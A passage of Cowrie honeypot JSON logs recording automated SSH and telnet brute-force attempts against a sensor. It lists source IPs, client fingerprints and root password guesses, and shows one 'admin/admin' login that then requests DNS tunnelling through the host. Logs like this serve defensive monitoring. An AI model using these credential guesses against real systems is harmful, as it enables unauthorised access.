16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:50.318955Z","src_ip":"38.93.206.2","session":"00aa845a3acf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"357951","message":"login attempt [root/357951] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:50.477573Z","src_ip":"38.93.206.2","session":"00aa845a3acf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:51.581681Z","src_ip":"38.93.206.2","session":"00aa845a3acf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.190.155","src_port":46020,"dst_ip":"10.17.0.5","dst_port":22,"session":"06c2e52c53eb","protocol":"ssh","message":"New connection: 157.230.190.155:46020 (10.17.0.5:22) [session: 06c2e52c53eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:01.847215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:01.852942Z","src_ip":"157.230.190.155","session":"06c2e52c53eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:01.858239Z","src_ip":"157.230.190.155","session":"06c2e52c53eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gmail","message":"login attempt [root/gmail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:01.909645Z","src_ip":"157.230.190.155","session":"06c2e52c53eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:02.917939Z","src_ip":"157.230.190.155","session":"06c2e52c53eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.179.233.101","src_port":53540,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c23a2f43d2b","protocol":"telnet","message":"New connection: 60.179.233.101:53540 (159.203.135.109:23) [session: 5c23a2f43d2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:17.532693Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":43393,"dst_ip":"159.203.135.109","dst_port":22,"session":"10969796fdee","protocol":"ssh","message":"New connection: 79.127.181.44:43393 (159.203.135.109:22) [session: 10969796fdee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:18.178362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:18.374965Z","src_ip":"79.127.181.44","session":"10969796fdee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:18.565803Z","src_ip":"79.127.181.44","session":"10969796fdee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:18.573931Z","src_ip":"79.127.181.44","session":"10969796fdee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.84.242","src_port":35630,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c53b439bceb","protocol":"ssh","message":"New connection: 103.249.84.242:35630 (10.17.0.5:22) [session: 1c53b439bceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:28.101166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:28.106063Z","src_ip":"103.249.84.242","session":"1c53b439bceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:28.335703Z","src_ip":"103.249.84.242","session":"1c53b439bceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234abcd","message":"login attempt [root/1234abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:29.283149Z","src_ip":"103.249.84.242","session":"1c53b439bceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:30.515906Z","src_ip":"103.249.84.242","session":"1c53b439bceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":41458,"dst_ip":"10.17.0.5","dst_port":22,"session":"15b55a0623d8","protocol":"ssh","message":"New connection: 189.203.163.10:41458 (10.17.0.5:22) [session: 15b55a0623d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:30.568453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:30.580305Z","src_ip":"189.203.163.10","session":"15b55a0623d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:30.645113Z","src_ip":"189.203.163.10","session":"15b55a0623d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.334273099899292,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:30.866835Z","src_ip":"60.179.233.101","session":"5c23a2f43d2b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qg123456","message":"login attempt [root/Qg123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:30.934433Z","src_ip":"189.203.163.10","session":"15b55a0623d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.99","src_port":49980,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c6d7660c934","protocol":"ssh","message":"New connection: 45.119.212.99:49980 (10.17.0.5:22) [session: 7c6d7660c934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:31.989152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:31.998581Z","src_ip":"45.119.212.99","session":"7c6d7660c934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:32.003436Z","src_ip":"189.203.163.10","session":"15b55a0623d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:32.488549Z","src_ip":"45.119.212.99","session":"7c6d7660c934","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"config","message":"login attempt [root/config] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:34.214748Z","src_ip":"45.119.212.99","session":"7c6d7660c934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:35.477702Z","src_ip":"45.119.212.99","session":"7c6d7660c934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.71.92","src_port":56454,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3be9e25db17","protocol":"ssh","message":"New connection: 43.134.71.92:56454 (10.17.0.5:22) [session: c3be9e25db17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:39.947584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:39.951948Z","src_ip":"43.134.71.92","session":"c3be9e25db17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:40.180279Z","src_ip":"43.134.71.92","session":"c3be9e25db17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gmail","message":"login attempt [root/gmail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:41.125039Z","src_ip":"43.134.71.92","session":"c3be9e25db17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:42.357185Z","src_ip":"43.134.71.92","session":"c3be9e25db17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":11116,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea04832c570c","protocol":"ssh","message":"New connection: 87.251.64.176:11116 (10.17.0.5:22) [session: ea04832c570c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:45.039556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:45.045263Z","src_ip":"87.251.64.176","session":"ea04832c570c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:45.142372Z","src_ip":"87.251.64.176","session":"ea04832c570c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:45.431842Z","src_ip":"87.251.64.176","session":"ea04832c570c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:45.545539Z","session":"ea04832c570c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:45.722784Z","src_ip":"87.251.64.176","session":"ea04832c570c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:45.890979Z","src_ip":"87.251.64.176","session":"ea04832c570c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":34102,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd3b55d0289a","protocol":"ssh","message":"New connection: 89.223.69.22:34102 (10.17.0.5:22) [session: cd3b55d0289a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:46.239999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:46.245192Z","src_ip":"89.223.69.22","session":"cd3b55d0289a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:46.357684Z","src_ip":"89.223.69.22","session":"cd3b55d0289a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwer","message":"login attempt [root/12345qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:46.700530Z","src_ip":"89.223.69.22","session":"cd3b55d0289a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:47.815157Z","src_ip":"89.223.69.22","session":"cd3b55d0289a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":37812,"dst_ip":"159.203.135.109","dst_port":22,"session":"799a9fd30950","protocol":"ssh","message":"New connection: 103.183.114.55:37812 (159.203.135.109:22) [session: 799a9fd30950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:51.215991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:51.220659Z","src_ip":"103.183.114.55","session":"799a9fd30950","protocol":"ssh"}
